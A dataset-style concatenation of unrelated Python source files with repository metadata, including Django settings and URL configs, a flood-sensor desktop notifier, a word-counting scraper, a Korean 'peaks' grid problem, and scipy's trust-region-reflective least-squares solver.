'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'jobs.apps.JobsConfig'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'quickjobs.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR,"template")],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'quickjobs.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [
BASE_DIR / "forstatic",
]
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
| [
"habeelmuhammed19@gmail.com"
] | habeelmuhammed19@gmail.com |
49c4fa5c25e6a664e828daf40dc1d96ad6ea99e3 | 8c098853257d8ae2466662fb9c8bd1da766c1582 | /desktopNotification.py | 9365fc1220359a69f5092784a64421a1aab1631f | [] | no_license | kabanitech-makerspace/pythonDesktopNotificationClient | 1d9e2a384f4bff26167af804ec72eccc623b6351 | e39256d2418baf30984849bf43a6add356c2654d | refs/heads/master | 2023-02-17T12:59:29.727216 | 2021-01-14T06:41:41 | 2021-01-14T06:41:41 | 329,526,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,132 | py | # author : kabanitech
# website : www.kabanitech.com
#---------------------------------
import ast
import time
import requests
from datetime import datetime
from plyer import notification
from pyfiglet import Figlet
from termcolor import colored, cprint
previusTimeStamp = 0;
notificationInterval = 300; # 5 sec
warningLevel = 50;
firstNotification = True;
url = 'https://kabanitechfloodsensor.herokuapp.com/python';
def titleArt(title):
asc_title = " " + title
f = Figlet(font='standard')
for i in range (35):
cprint("-",'white', end="", flush=True)
cprint("-",'cyan', end="", flush=True)
print("")
cprint (f.renderText(asc_title),'cyan')
for i in range (35):
cprint("-",'white', end="", flush=True)
cprint("-",'cyan', end="", flush=True)
time.sleep(.005)
print("")
cprint(":: www.kabanitech.com ::",'red',end="", flush=True)
cprint(" Author : kabanitech",'blue')
cprint(" Version : 1.0",'blue')
for i in range (35):
cprint("-",'white', end="", flush=True)
cprint("-",'cyan', end="", flush=True)
time.sleep(.005)
print("")
titleArt("Kabani Tech")
def pushNotification():
global previusTimeStamp
previusTimeStamp = time.time()
notification.notify(
title = "WARNING",
message = "water level is too high",
app_name = "KabaniTech",
app_icon = "/kabani_icon.ico",
timeout = 10
)
def getWaterLevel():
x = requests.get(url)
#x = requests.get('http://localhost:3000/python')
res = ast.literal_eval(x.content.decode("utf-8"))
return int(res["WaterLevel"])
while True:
currentWaterLevel = getWaterLevel()
print(currentWaterLevel)
if currentWaterLevel > warningLevel :
print("water level is too high")
interval = time.time() - previusTimeStamp;
if firstNotification :
pushNotification()
firstNotification = False;
elif interval > notificationInterval :
pushNotification()
time.sleep(5) | [
"akash.anjanam@gmail.com"
] | akash.anjanam@gmail.com |
794ee8b5e9280e3685ccad77574041cb70b678f9 | f20931826a557f0d884f8b46de259840c29b7428 | /meiduo_mall/meiduo_mall/utils/views.py | 6277b442a78467dc0f3a239d427d6ac13b413536 | [] | no_license | zy723/meiduo_project | 38ccecc2fa1d61f2eb848ebc572dd43d45a534c8 | f50a8105c63554b57419cb3494c3d323bb343f9c | refs/heads/master | 2022-12-15T02:34:42.578549 | 2020-05-20T16:56:27 | 2020-05-20T16:56:27 | 248,264,846 | 0 | 0 | null | 2022-12-12T20:28:41 | 2020-03-18T15:08:40 | TSQL | UTF-8 | Python | false | false | 982 | py | from django import http
from django.contrib.auth.mixins import LoginRequiredMixin
from meiduo_mall.utils.response_code import RETCODE
class LoginRequiredJSONMixin(LoginRequiredMixin):
"""
验证用户并返回json 的扩展类
"""
def handle_no_permission(self):
"""
重写 handle_no_permission 返回json
:return:
"""
return http.JsonResponse({'code': RETCODE.SESSIONERR, 'errmsg': '用户未登录'})
"""
def handle_no_permission(self):
if self.raise_exception:
raise PermissionDenied(self.get_permission_denied_message())
return redirect_to_login(self.request.get_full_path(), self.get_login_url(), self.get_redirect_field_name())
class LoginRequiredMixin(AccessMixin):
def dispatch(self, request, *args, **kwargs):
if not request.user.is_authenticated:
return self.handle_no_permission()
return super(LoginRequiredMixin, self).dispatch(request, *args, **kwargs)
"""
| [
"zy723@vip.qq.com"
] | zy723@vip.qq.com |
4a973dd5c4605eb01d3f3c3767d39a74840e34fa | 7beb414f17ae3da889eb13d588ca860105479230 | /Chap12.4p.py | 9e7e69c448834bc712bf69b3b66f5b0d47257591 | [] | no_license | Sajan390/github-upload | 1a021645b06cdf56cfd3254986f845454f3ebca9 | f3d4605615828ae958ccd609ab953df8510687a1 | refs/heads/main | 2023-04-15T08:06:24.493223 | 2021-04-24T09:09:37 | 2021-04-24T09:09:37 | 359,884,264 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 309 | py | import urllib.request, urllib.parse, urllib.error
from bs4 import BeautifulSoup
fhand=urllib.request.urlopen('http://www.dr-chuck.com/page1.htm')
counts={}
for line in fhand:
word=line.decode().split()
for words in word:
counts[words]=counts.get(words,0)+1
print(words)
print(counts)
| [
"mr.sajankasula@gmail.com"
] | mr.sajankasula@gmail.com |
aa82180268a07290cee5098af7a357014e39d803 | 941ef7765081577f8b07e428a1fcd38239c96bbd | /mySite/urls.py | 1a76e9ec5595b08eb7a0956ee6ed27996b50810e | [] | no_license | cdc94/mySite | b349f16e6acdaed6d86d5f596013d3624f48ee3c | 458aed42f1dccd5864e65b69b42be61649cb28e9 | refs/heads/master | 2023-04-02T22:26:05.803794 | 2021-04-09T16:23:27 | 2021-04-09T16:23:27 | 356,332,926 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,081 | py | """mySite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
from django.conf.urls import url, include
from django.contrib import admin
from django.views.generic import TemplateView
# import App.urls
from App import controller
urlpatterns = [
path('admin/', admin.site.urls),
path('cdcya/', controller.flowStatController),
# path('hello/', views.hello),
# url(r'^admin/', admin.site.urls),
# url(r'api/', include(App.urls)),
]
| [
"1094392181@qq.com"
] | 1094392181@qq.com |
d65d6e4f4ba1369b841240de66b91169a6a1d959 | 38dfa019833773bcce0af80509018cfbb5cc8839 | /city_json.py | f8868c619623a6106038a54f1848521b8de2ae68 | [] | no_license | chenkeren1994/python-spider | c59ee8184fd85d315a7b7ef60b5902fb0b65ea2e | 15f334861a0477315bf7be7f0b359780bad994c6 | refs/heads/master | 2021-01-15T21:31:00.258085 | 2017-08-10T02:57:19 | 2017-08-10T02:57:19 | 99,874,544 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 666 | py | # _*_ coding:utf-8 _*_
__author__ = 'seal'
__data__ = '8/9/17'
import urllib2
import json
import jsonpath
url = "https://www.lagou.com/lbs/getAllCitySearchLabels.json"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0"
}
request = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(request)
html = response.read()
unicodestr = json.loads(html)
#python形势列表
city_list = jsonpath.jsonpath(unicodestr, "$..name")
for item in city_list:
print item
array = json.dumps(city_list, ensure_ascii=False)
with open("lagoucity.json","w") as f:
f.write(array.encode("utf-8"))
| [
"chenkerenqiqi@163.com"
] | chenkerenqiqi@163.com |
c2499662862e75d8cd98a2ba30b55e5bff251e45 | 5852dc141d5d631abdba9a1b19ef749cd7809c0a | /Python2/Ex22.py | f65aea30ddc7442209e20adee733979541719e1a | [] | no_license | thatguy0999/PythonCodes | 9b18f76611549f6697081d435a595b495355eea0 | e6f3bec2e126f2eb12377c97e019d34c64e725a1 | refs/heads/master | 2023-02-03T08:59:36.916778 | 2020-12-22T10:01:28 | 2020-12-22T10:01:28 | 320,473,739 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 398 | py | from math import *
length1 = float(input('please enter the length of the first side'))
length2 = float(input('please enter the length of the second side'))
length3 = float(input('please enter the length of the third side'))
length_sum = length1 + length2 + length3
area = sqrt(length_sum*(length_sum-length1)*(length_sum-length2)*(length_sum-length3))
print(f'the area of the triangle is {area}') | [
"chuaruyhan@gmail.com"
] | chuaruyhan@gmail.com |
a71e3dfb3d120f35cc2b76d64013210f50176ec6 | 4ce5f83f93309e4d446296fad79a63ed859365a8 | /models/__init__.py | fb8e3a9920cea7bf641bee8724bebbe4d794c8c7 | [
"Apache-2.0"
] | permissive | amirunpri2018/TT-SRN | 3024d05deeec69e3bb2ee8350b332ed24f07fc65 | 83eb03a9393442e6b09aa736862b3a2d5bdcf5b6 | refs/heads/main | 2023-08-14T04:28:10.419866 | 2021-10-08T11:57:29 | 2021-10-08T11:57:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 78 | py | from .vistr import build
def build_model(args):
return build(args)
| [
"noreply@github.com"
] | amirunpri2018.noreply@github.com |
f3f74077e990422f6a0ad6cbad82bed2604164f4 | 5b64544c1a8f3b8ca4a22396e3c0670a6382ffbb | /pmem/wsgi.py | ac8448acde31ff51528720fb4e87abe964237f23 | [] | no_license | Twbadkid/utcsKoiDavenSite | a9e624118d70aa469f57ca1b2c9f1277492de47d | 33d1d3a334ff6eba169744ec770baaad49f81e4b | refs/heads/master | 2021-01-25T08:37:23.023934 | 2014-12-09T16:57:48 | 2014-12-09T16:57:48 | 27,774,187 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 707 | py | """
WSGI config for pmem project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
# coding=UTF-8
import os
import sys
#sys.path.append('/srv/www')
path ='/srv/www/pmem'
if path not in sys.path:sys.path.append(path)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pmem.settings")
os.environ.setdefault("PYTHON_EGG_CACHE", "/tmp/.python-eggs")
#os.environ['DJANGO_SETTINGS_MODULE'] = 'pmem.settings'
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
#from pmem.wsgi import PmemApplication
#application = PmemApplication(application)
| [
"kkkoooiii2@yahoo.com.tw"
] | kkkoooiii2@yahoo.com.tw |
792817e5a7b4e0705f00af285ebe1554b4fb1db9 | 6a5fffd4a6211dec189942e0dcef000dfab1f227 | /scipy/optimize/_lsq/trf.py | d9d6c597b814533c09a23c32c04d12db5f58fb1f | [] | no_license | sumitbinnani/scipy | e4f85e7bb99b4d8f504cad2b669605ee74dba50e | 7dd2b91935d008810f5391311d40bbc732ffefd7 | refs/heads/master | 2021-01-15T12:16:01.048358 | 2015-10-07T15:15:58 | 2015-10-07T15:15:58 | 43,842,116 | 1 | 0 | null | 2015-10-07T20:12:18 | 2015-10-07T20:12:17 | null | UTF-8 | Python | false | false | 19,571 | py | """Trust Region Reflective algorithm for least-squares optimization.
The algorithm is based on ideas from paper [STIR]_. The main idea is to
account for presence of the bounds by appropriate scaling of the variables (or
equivalently changing a trust-region shape). Let's introduce a vector v:
| ub[i] - x[i], if g[i] < 0 and ub[i] < np.inf
v[i] = | x[i] - lb[i], if g[i] > 0 and lb[i] > -np.inf
| 1, otherwise
where g is the gradient of a cost function and lb, ub are the bounds. Its
components are distances to the bounds at which the anti-gradient points (if
this distance is finite). Define a scaling matrix D = diag(v**0.5).
First-order optimality conditions can be stated as
D^2 g(x) = 0.
Meaning that components of the gradient should be zero for strictly interior
variables, and components must point inside the feasible region for variables
on the bound.
Now consider this system of equations as a new optimization problem. If the
point x is strictly interior (not on the bound) then the left-hand side is
differentiable and the Newton step for it satisfies
(D^2 H + diag(g) Jv) p = -D^2 g
where H is the Hessian matrix (or its J^T J approximation in least squares),
Jv is the Jacobian matrix of v with components -1, 1 or 0, such that all
elements of matrix C = diag(g) Jv are non-negative. Introduce the change
of the variables x = D x_h (_h would be "hat" in LaTeX). In the new variables
we have a Newton step satisfying
B_h p_h = -g_h,
where B_h = D H D + C, g_h = D g. In least squares B_h = J_h^T J_h, where
J_h = J D. Note that J_h and g_h are proper Jacobian and gradient with respect
to "hat" variables. To guarantee global convergence we formulate a
trust-region problem based on the Newton step in the new variables:
0.5 * p_h^T B_h p + g_h^T p_h -> min, ||p_h|| <= Delta
In the original space B = H + D^{-1} C D^{-1}, and the equivalent trust-region
problem is
0.5 * p^T B p + g^T p -> min, ||D^{-1} p|| <= Delta
Here the meaning of the matrix D becomes more clear: it alters the shape
of a trust-region, such that large steps towards the bounds are not allowed.
In the implementation the trust-region problem is solved in "hat" space,
but handling of the bounds is done in the original space (see below and read
the code).
The introduction of the matrix D doesn't allow to ignore bounds, the algorithm
must keep iterates strictly feasible (to satisfy aforementioned
differentiability), the parameter theta controls step back from the boundary
(see the code for details).
The algorithm does another important trick. If the trust-region solution
doesn't fit into the bounds, then a reflected (from a firstly encountered
bound) search direction is considered. For motivation and analysis refer to
[STIR]_ paper (and other papers of the authors). In practices it doesn't need
a lot of justifications, the algorithm simply chooses the best step among
three: a constrained trust-region step, a reflected step and a constrained
Cauchy step (a minimizer along -g_h in "hat" space, or -D^2 g in the original
space).
Another feature is that a trust-region radius control strategy is modified to
account for appearance of the diagonal C matrix (called diag_h in the code).
Note, that all described peculiarities are completely gone as we consider
problems without bounds (the algorithm becomes a standard trust-region type
algorithm very similar to ones implemented in MINPACK).
The implementation supports two methods of solving the trust-region problem.
The first, called 'exact', applies SVD on Jacobian and then solves the problem
very accurately using the algorithm described in [JJMore]_. It is not
applicable to large problem. The second, called 'lsmr', uses the 2-D subspace
approach (sometimes called "indefinite dogleg"), where the problem is solved
in a subspace spanned by the gradient and the approximate Gauss-Newton step
found by ``scipy.sparse.linalg.lsmr``. A 2-D trust-region problem is
reformulated as a 4-th order algebraic equation and solved very accurately by
``numpy.roots``. The subspace approach allows to solve very large problems
(up to couple of millions of residuals on a regular PC), provided the Jacobian
matrix is sufficiently sparse.
References
----------
.. [STIR] Branch, M.A., T.F. Coleman, and Y. Li, "A Subspace, Interior,
and Conjugate Gradient Method for Large-Scale Bound-Constrained
Minimization Problems," SIAM Journal on Scientific Computing,
Vol. 21, Number 1, pp 1-23, 1999.
.. [JJMore] More, J. J., "The Levenberg-Marquardt Algorithm: Implementation
and Theory," Numerical Analysis, ed. G. A. Watson, Lecture
"""
import numpy as np
from numpy.linalg import norm
from scipy.linalg import svd, qr
from scipy.sparse.linalg import LinearOperator, lsmr
from scipy.optimize import OptimizeResult
from .common import (
step_size_to_bound, find_active_constraints, in_bounds,
make_strictly_feasible, intersect_trust_region, solve_lsq_trust_region,
solve_trust_region_2d, minimize_quadratic_1d, build_quadratic_1d,
evaluate_quadratic, right_multiplied_operator, regularized_lsq_operator,
CL_scaling_vector, compute_grad, compute_jac_scaling, check_termination,
update_tr_radius, scale_for_robust_loss_function, print_header_nonlinear,
print_iteration_nonlinear)
def trf(fun, jac, x0, f0, J0, lb, ub, ftol, xtol, gtol, max_nfev, scaling,
loss_function, tr_solver, tr_options, verbose):
# For efficiency it makes sense to run the simplified version of the
# algorithm when no bounds are imposed. We decided to write the two
# separate functions. It violates DRY principle, but the individual
# functions are kept the most readable.
if np.all(lb == -np.inf) and np.all(ub == np.inf):
return trf_no_bounds(
fun, jac, x0, f0, J0, ftol, xtol, gtol, max_nfev, scaling,
loss_function, tr_solver, tr_options, verbose)
else:
return trf_bounds(
fun, jac, x0, f0, J0, lb, ub, ftol, xtol, gtol, max_nfev, scaling,
loss_function, tr_solver, tr_options, verbose)
def select_step(x, J_h, diag_h, g_h, p, p_h, d, Delta, lb, ub, theta):
"""Select the best step according to Trust Region Reflective algorithm."""
if in_bounds(x + p, lb, ub):
p_value = evaluate_quadratic(J_h, g_h, p_h, diag=diag_h)
return p, p_h, -p_value
p_stride, hits = step_size_to_bound(x, p, lb, ub)
# Compute the reflected direction.
r_h = np.copy(p_h)
r_h[hits.astype(bool)] *= -1
r = d * r_h
# Restrict trust-region step, such that it hits the bound.
p *= p_stride
p_h *= p_stride
x_on_bound = x + p
# Reflected direction will cross first either feasible region or trust
# region boundary.
_, to_tr = intersect_trust_region(p_h, r_h, Delta)
to_bound, _ = step_size_to_bound(x_on_bound, r, lb, ub)
# Find lower and upper bounds on a step size along the reflected
# direction, considering the strict feasibility requirement. There is no
# single correct way to do that, the chosen approach seems to work best
# on test problems.
r_stride = min(to_bound, to_tr)
if r_stride > 0:
r_stride_l = (1 - theta) * p_stride / r_stride
if r_stride == to_bound:
r_stride_u = theta * to_bound
else:
r_stride_u = to_tr
else:
r_stride_l = 0
r_stride_u = -1
# Check if reflection step is available.
if r_stride_l <= r_stride_u:
a, b, c = build_quadratic_1d(J_h, g_h, r_h, s0=p_h, diag=diag_h)
r_stride, r_value = minimize_quadratic_1d(
a, b, r_stride_l, r_stride_u, c=c)
r_h *= r_stride
r_h += p_h
r = r_h * d
else:
r_value = np.inf
# Now correct p_h to make it strictly interior.
p *= theta
p_h *= theta
p_value = evaluate_quadratic(J_h, g_h, p_h, diag=diag_h)
ag_h = -g_h
ag = d * ag_h
to_tr = Delta / norm(ag_h)
to_bound, _ = step_size_to_bound(x, ag, lb, ub)
if to_bound < to_tr:
ag_stride = theta * to_bound
else:
ag_stride = to_tr
a, b = build_quadratic_1d(J_h, g_h, ag_h, diag=diag_h)
ag_stride, ag_value = minimize_quadratic_1d(a, b, 0, ag_stride)
ag_h *= ag_stride
ag *= ag_stride
if p_value < r_value and p_value < ag_value:
return p, p_h, -p_value
elif r_value < p_value and r_value < ag_value:
return r, r_h, -r_value
else:
return ag, ag_h, -ag_value
def trf_bounds(fun, jac, x0, f0, J0, lb, ub, ftol, xtol, gtol, max_nfev,
scaling, loss_function, tr_solver, tr_options, verbose):
x = x0.copy()
f = f0
f_true = f.copy()
nfev = 1
J = J0
njev = 1
m, n = J.shape
if loss_function is not None:
rho = loss_function(f)
cost = 0.5 * np.sum(rho[0])
J, f = scale_for_robust_loss_function(J, f, rho)
else:
cost = 0.5 * np.dot(f, f)
g = compute_grad(J, f)
if scaling == 'jac':
scale, scale_inv = compute_jac_scaling(J)
else:
scale, scale_inv = scaling, 1 / scaling
v, dv = CL_scaling_vector(x, g, lb, ub)
v[dv != 0] *= scale[dv != 0]
Delta = norm(x0 * scale / v**0.5)
if Delta == 0:
Delta = 1.0
g_norm = norm(g * v, ord=np.inf)
f_augmented = np.zeros((m + n))
if tr_solver == 'exact':
J_augmented = np.empty((m + n, n))
elif tr_solver == 'lsmr':
reg_term = 0.0
regularize = tr_options.pop('regularize', True)
if max_nfev is None:
max_nfev = x0.size * 100
alpha = 0.0 # "Levenberg-Marquardt" parameter
termination_status = None
iteration = 0
step_norm = None
actual_reduction = None
if verbose == 2:
print_header_nonlinear()
while True:
v, dv = CL_scaling_vector(x, g, lb, ub)
g_norm = norm(g * v, ord=np.inf)
if g_norm < gtol:
termination_status = 1
if verbose == 2:
print_iteration_nonlinear(iteration, nfev, cost, actual_reduction,
step_norm, g_norm)
if termination_status is not None or nfev == max_nfev:
break
# Now compute variables in "hat" space. Here we also account for
# scaling introduced by `scaling` parameter. This part is a bit tricky,
# you have to write down the formulas and see how the trust-region
# problem is formulated when the two types of scaling are applied.
# The idea is that first we apply `scaling` and then apply Coleman-Li
# approach in the new variables.
# v is recomputed in the variables after applying `scaling`, note that
# components which were identically 1 not affected.
v[dv != 0] *= scale[dv != 0]
# Here we apply two types of scaling.
d = v**0.5 * scale_inv
# C = diag(g / scale) Jv
diag_h = g * dv * scale_inv
# After all this were done, we continue normally.
# "hat" gradient.
g_h = d * g
f_augmented[:m] = f
if tr_solver == 'exact':
J_augmented[:m] = J * d
J_h = J_augmented[:m] # Memory view.
J_augmented[m:] = np.diag(diag_h**0.5)
U, s, V = svd(J_augmented, full_matrices=False)
V = V.T
uf = U.T.dot(f_augmented)
elif tr_solver == 'lsmr':
J_h = right_multiplied_operator(J, d)
if regularize:
a, b = build_quadratic_1d(J_h, g_h, -g_h, diag=diag_h)
to_tr = Delta / norm(g_h)
ag_value = minimize_quadratic_1d(a, b, 0, to_tr)[1]
reg_term = -ag_value / Delta**2
lsmr_op = regularized_lsq_operator(J_h, (diag_h + reg_term)**0.5)
gn_h = lsmr(lsmr_op, f_augmented, **tr_options)[0]
S = np.vstack((g_h, gn_h)).T
S, _ = qr(S, mode='economic')
JS = J_h.dot(S) # LinearOperator does dot too.
B_S = np.dot(JS.T, JS) + np.dot(S.T * diag_h, S)
g_S = S.T.dot(g_h)
# theta controls step back step ratio from the bounds.
theta = max(0.995, 1 - g_norm)
actual_reduction = -1
while actual_reduction <= 0 and nfev < max_nfev:
if tr_solver == 'exact':
p_h, alpha, n_iter = solve_lsq_trust_region(
n, m, uf, s, V, Delta, initial_alpha=alpha)
elif tr_solver == 'lsmr':
p_S, _ = solve_trust_region_2d(B_S, g_S, Delta)
p_h = S.dot(p_S)
p = d * p_h # Trust-region solution in the original space.
step, step_h, predicted_reduction = select_step(
x, J_h, diag_h, g_h, p, p_h, d, Delta, lb, ub, theta)
x_new = make_strictly_feasible(x + step, lb, ub, rstep=0)
f_new = fun(x_new)
nfev += 1
step_h_norm = norm(step_h)
if not np.all(np.isfinite(f_new)):
Delta = 0.25 * step_h_norm
continue
# Usual trust-region step quality estimation.
if loss_function is not None:
cost_new = loss_function(f_new, cost_only=True)
else:
cost_new = 0.5 * np.dot(f_new, f_new)
actual_reduction = cost - cost_new
# Correction term is specific to the algorithm,
# vanishes in unbounded case.
correction = 0.5 * np.dot(step_h * diag_h, step_h)
Delta_new, ratio = update_tr_radius(
Delta, actual_reduction - correction, predicted_reduction,
step_h_norm, step_h_norm > 0.95 * Delta
)
alpha *= Delta / Delta_new
Delta = Delta_new
step_norm = norm(step)
termination_status = check_termination(
actual_reduction, cost, step_norm, norm(x), ratio, ftol, xtol)
if termination_status is not None:
break
if actual_reduction > 0:
x = x_new
f = f_new
f_true = f.copy()
cost = cost_new
J = jac(x, f)
njev += 1
if loss_function is not None:
rho = loss_function(f)
J, f = scale_for_robust_loss_function(J, f, rho)
g = compute_grad(J, f)
if scaling == 'jac':
scale, scale_inv = compute_jac_scaling(J, scale)
else:
step_norm = 0
actual_reduction = 0
iteration += 1
if termination_status is None:
termination_status = 0
active_mask = find_active_constraints(x, lb, ub, rtol=xtol)
return OptimizeResult(
x=x, cost=cost, fun=f_true, jac=J, grad=g, optimality=g_norm,
active_mask=active_mask, nfev=nfev, njev=njev,
status=termination_status)
def trf_no_bounds(fun, jac, x0, f0, J0, ftol, xtol, gtol, max_nfev,
scaling, loss_function, tr_solver, tr_options, verbose):
x = x0.copy()
f = f0
f_true = f.copy()
nfev = 1
J = J0
njev = 1
m, n = J.shape
if loss_function is not None:
rho = loss_function(f)
cost = 0.5 * np.sum(rho[0])
J, f = scale_for_robust_loss_function(J, f, rho)
else:
cost = 0.5 * np.dot(f, f)
g = compute_grad(J, f)
if scaling == 'jac':
scale, scale_inv = compute_jac_scaling(J)
else:
scale, scale_inv = scaling, 1 / scaling
Delta = norm(x0 * scale)
if Delta == 0:
Delta = 1.0
if tr_solver == 'lsmr':
reg_term = 0
damp = tr_options.pop('damp', 0.0)
regularize = tr_options.pop('regularize', True)
if max_nfev is None:
max_nfev = x0.size * 100
alpha = 0.0 # "Levenberg-Marquardt" parameter
termination_status = None
iteration = 0
step_norm = None
actual_reduction = None
if verbose == 2:
print_header_nonlinear()
while True:
g_norm = norm(g, ord=np.inf)
if g_norm < gtol:
termination_status = 1
if verbose == 2:
print_iteration_nonlinear(iteration, nfev, cost, actual_reduction,
step_norm, g_norm)
if termination_status is not None or nfev == max_nfev:
break
d = scale_inv
g_h = d * g
if tr_solver == 'exact':
J_h = J * d
U, s, V = svd(J_h, full_matrices=False)
V = V.T
uf = U.T.dot(f)
elif tr_solver == 'lsmr':
J_h = right_multiplied_operator(J, d)
if regularize:
a, b = build_quadratic_1d(J_h, g_h, -g_h)
to_tr = Delta / norm(g_h)
ag_value = minimize_quadratic_1d(a, b, 0, to_tr)[1]
reg_term = -ag_value / Delta**2
damp_full = (damp**2 + reg_term)**0.5
gn_h = lsmr(J_h, f, damp=damp_full, **tr_options)[0]
S = np.vstack((g_h, gn_h)).T
S, _ = qr(S, mode='economic')
JS = J_h.dot(S)
B_S = np.dot(JS.T, JS)
g_S = S.T.dot(g_h)
actual_reduction = -1
while actual_reduction <= 0 and nfev < max_nfev:
if tr_solver == 'exact':
step_h, alpha, n_iter = solve_lsq_trust_region(
n, m, uf, s, V, Delta, initial_alpha=alpha)
elif tr_solver == 'lsmr':
p_S, _ = solve_trust_region_2d(B_S, g_S, Delta)
step_h = S.dot(p_S)
predicted_reduction = -evaluate_quadratic(J_h, g_h, step_h)
step = d * step_h
x_new = x + step
f_new = fun(x_new)
nfev += 1
step_h_norm = norm(step_h)
if not np.all(np.isfinite(f_new)):
Delta = 0.25 * step_h_norm
continue
# Usual trust-region step quality estimation.
if loss_function is not None:
cost_new = loss_function(f_new, cost_only=True)
else:
cost_new = 0.5 * np.dot(f_new, f_new)
actual_reduction = cost - cost_new
Delta_new, ratio = update_tr_radius(
Delta, actual_reduction, predicted_reduction,
step_h_norm, step_h_norm > 0.95 * Delta)
alpha *= Delta / Delta_new
Delta = Delta_new
step_norm = norm(step)
termination_status = check_termination(
actual_reduction, cost, step_norm, norm(x), ratio, ftol, xtol)
if termination_status is not None:
break
if actual_reduction > 0:
x = x_new
f = f_new
f_true = f.copy()
cost = cost_new
J = jac(x, f)
njev += 1
if loss_function is not None:
rho = loss_function(f)
J, f = scale_for_robust_loss_function(J, f, rho)
g = compute_grad(J, f)
if scaling == 'jac':
scale, scale_inv = compute_jac_scaling(J, scale)
else:
step_norm = 0
actual_reduction = 0
iteration += 1
if termination_status is None:
termination_status = 0
active_mask = np.zeros_like(x)
return OptimizeResult(
x=x, cost=cost, fun=f_true, jac=J, grad=g, optimality=g_norm,
active_mask=active_mask, nfev=nfev, njev=njev,
status=termination_status)
| [
"n59_ru@hotmail.com"
] | n59_ru@hotmail.com |
ba845bf835e404e92748f031eeee80ae23f30f72 | a18932acad089e34ca3f3f662f92d310b4a55001 | /1_Applied_Time_Series/python code/02_Transforming Time Series/stationarity.py | f8f40608c7a7a1ad7c8daddb9cbf4d123e17a92e | [] | no_license | Sun-Yize/Time-Series | 211da31566ae2bbdee1a0ad46501477879ef0b3c | 5c13ee62d8cb24e99cd6e1bea7e1d0ed2a0d850d | refs/heads/master | 2022-11-30T04:02:14.750536 | 2020-08-15T10:02:33 | 2020-08-15T10:02:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 309 | py | import numpy as np
def first_difference(xt):
y = np.array([])
for i in range(len(xt)-1):
y = np.append(y, xt[i+1] - xt[i])
return y
def second_differences(xt):
y = np.array([])
for i in range(len(xt) - 2):
y = np.append(y, xt[i + 2] - 2 * xt[i+1] + xt[i])
return y
| [
"986765210@qq.com"
] | 986765210@qq.com |
d8bc08fc70db673b8e1086f76e64a1aad63d788f | f5fcd15495c4bb14845f60e9bc9dc04b1a485c8d | /봉우리/봉우리.py | 2aa3f30a842e348b258e0435e73160e1ffbabb9b | [] | no_license | htchoi1006/python_algorithm | 20ec72744345fc7c327c9d1907db338a300594d2 | 853defb36f899d63b2d353ab5c236b63453e7aef | refs/heads/main | 2023-03-30T20:58:59.546000 | 2021-03-31T08:09:52 | 2021-03-31T08:09:52 | 334,844,750 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,412 | py | '''
문제
지도 정보가 N*N 격자판에 주어진다. 각 격자에는 그 지역의 높이가 쓰여있다.
각 격자판의 숫자 중 자신의 상하좌우 숫자보다 큰 숫자는 봉우리 지역이다.
봉우리 지역이 몇개 있는지 알아내는 프로그램을 작성하라.
격자의 가장자리는 0으로 초기화되었다고 가정한다.
만약 N=5이고, 격자판의 숫자가 다음과 같다면 봉우리의 개수는 10개이다.
0 0 0 0 0 0 0
0 5 3 7 2 3 0
0 3 7 1 6 1 0
0 7 2 5 3 4 0
0 4 3 6 4 1 0
0 8 7 3 5 2 0
